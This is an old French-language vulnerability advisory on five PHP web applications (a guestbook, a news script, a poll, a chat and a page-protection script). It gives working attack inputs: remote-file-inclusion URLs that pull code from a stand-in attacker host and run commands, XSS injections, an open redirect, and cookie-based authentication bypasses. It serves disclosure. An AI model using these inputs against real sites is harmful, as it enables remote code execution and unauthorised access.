5 holes, Part 6 *************** Intro : ******* Je passe un bonjour à Capitaine Sylvain et Manu-Z ainsi qu'à tout ceux avec qui j'ai perdu contact :) Date : ****** 27/05/02 Services : ********** - Achims Guestbook - InertiaNews - Pollen - MyPhpChat - mcPass Developpements : **************** 1) Achims Guestbook ~~~~~~~~~~~~~~~~~~~ http://www.lkcc.org:8500/index.php Version : 2.51 (et moins ?) Problème : - Récuperation d'infos Developpement : Deux dossiers contiennent des fichiers pouvant nous apporter quelques informations. Inutile d'écrire longuement sur le sujet, la faille n'est pas impressionnante mais réelle. Le premier est /data/, contenant par exemple /data/data.dat (avec les ips de ceux qui ont laissé un message) et /temp/, avec par exemple le fichier /temp/ip.tmp. Un autre petit trou : Si on met, quand on écrit un message, dans l'url de notre site : http:// " onclick="[script] on aura sur le guestbook : et le script sera executé si quelqu'un click sur le lien. 2) Inertia News ~~~~~~~~~~~~~~~ http://www.brentc.com Version : 0.02 beta Problème : - require(); Developpement : Dans le fichier inertianews_main.php, on peut voir la ligne : require ("$inews_path/inertia_sql_class.php"); $inews_path n'a pas de valeur par défaut, on peut donc le définir nous-même. On crée donc un fichier inertia_sql_class.php (par exemple sur www.site.com) contenant le code qu'on veut et on l'insere dans la page avec l'url : http://www.victim.com/inertianews_main.php?inews_path=http://www.site.com 3) Pollen ~~~~~~~~~ http://www.phpspirit.com Version : 1.4.1 (et moins ?) Problèmes : - Path Disclosure - Inclusion de fichiers - Contournement de la sécurité contre les votes multiples Developpement : Le fichier contenant la plus grosse partie du code du service est pollensondage.inc.php . Voici les 4 premières lignes de code de ce fichier : ------------------------------------------------------ include($app_path.'/admin/phpext'); include($app_path.'/admin/config.inc.'.$phpext); include($app_path.'/include/db.inc.'.$phpext); include($app_path.'/prefs/preferences.inc.'.$phpext); ------------------------------------------------------ $app_path n'a pas de valeur par défaut. Voici la code d'exemple.php, qui explique pourquoi : ------------------------- exemple.php ------------------------------------ à renseigner<--'; // Important, indiquez ici le chemin absolu jusqu'au dossier pollen // Si vous ne savez pas, regardez dans le fichier config.inc.php(3) // du dossier /pollen/admin/ la variable $app_path $script = 'exemple.php'; include($app_path.'/pollen.php'); ?> --------------------------------------------------------------------------------- Il y a là de nombreuses possibilités pour inclure un fichier et par exemple faire executer des commandes. Exemples : 1) pollensondage.inc.php?app_path=http://www.haxor.com&cmd=ls avec, dans http://www.haxor.com/admin/phpext : 2) pollensondage.inc.php?app_path=http://www.haxor.com&cmd=ls avec, dans http://www.haxor.com/admin/phpext : et dans http://www.haxor.com/admin/config.inc.txt ou http://www.haxor.com/include/db.inc.txt ou http://www.haxor.com/prefs/preferences.inc.txt : Ou avec d'autres extensions que txt... 3) pollensondage.inc.php?app_path=http://www.haxor.com&phpext=txt&cmd=ls avec dans http://www.haxor.com/prefs/preferences.inc.txt http://www.haxor.com/admin/config.inc.txt http://www.haxor.com/include/db.inc.txt ou http://www.haxor.com/admin/phpext : 4) etc... Le path disclosure consiste en pollensondage.inc.php?app_path=non-existant-path . Pour contourner la sécurité contre les votes multiples, il suffit d'envoyer un cookie nommé pollensondage et ne contenant rien. 4) MyPhpChat ~~~~~~~~~~~~ http://www.creotec.com Version : 1 Problèmes : - XSS - Redirection Developpement : Le premier trou de XSS est dans l'affichage du texte du chat. Si on envoit comme texte hop, on verra notre "hop" souligné. Donc si on envois comme texte , le script sera executé par tout ceux qui sont sur le chat ou le visualisant d'une façon ou d'une autre. L'autre est du même principe, sauf que c'est le pseudo qui sera changé en script. Pour avoir le pseudo Jack, il faudra aller à l'url iframe.php?mynick=Jack . Pour faire executer un script à tous, ce sera iframe.php?mynick= . La redirection se trouve dans userlist.php et write.php . On peut voir dans leur source : Donc write.php?ME=http://www.site.com ou userlist.php?ME=http://www.site.com nous redirigerons après 6 secondes sur www.site.com . 5) mcPass ~~~~~~~~~ http://www.phpforums.net Version : 1 Problème : - Contournement de la sécurité établie Developpement : Le fichier mcPass.php sert à sécuriser des pages. Inutile d'étudier le code source pour trouver une faille. Car voici les lignes à entrer dans une page que l'ont voudrait sécuriser : ---------------------------------------------------------------------------- ----------------------------------------------------------------------------- Il suffit donc d'envoyer un cookie non-vide avec comme nom mcPass pour être autorisé. Greetz : ******** / Credits : ********* frog-m@n leseulfrog@hotmail.com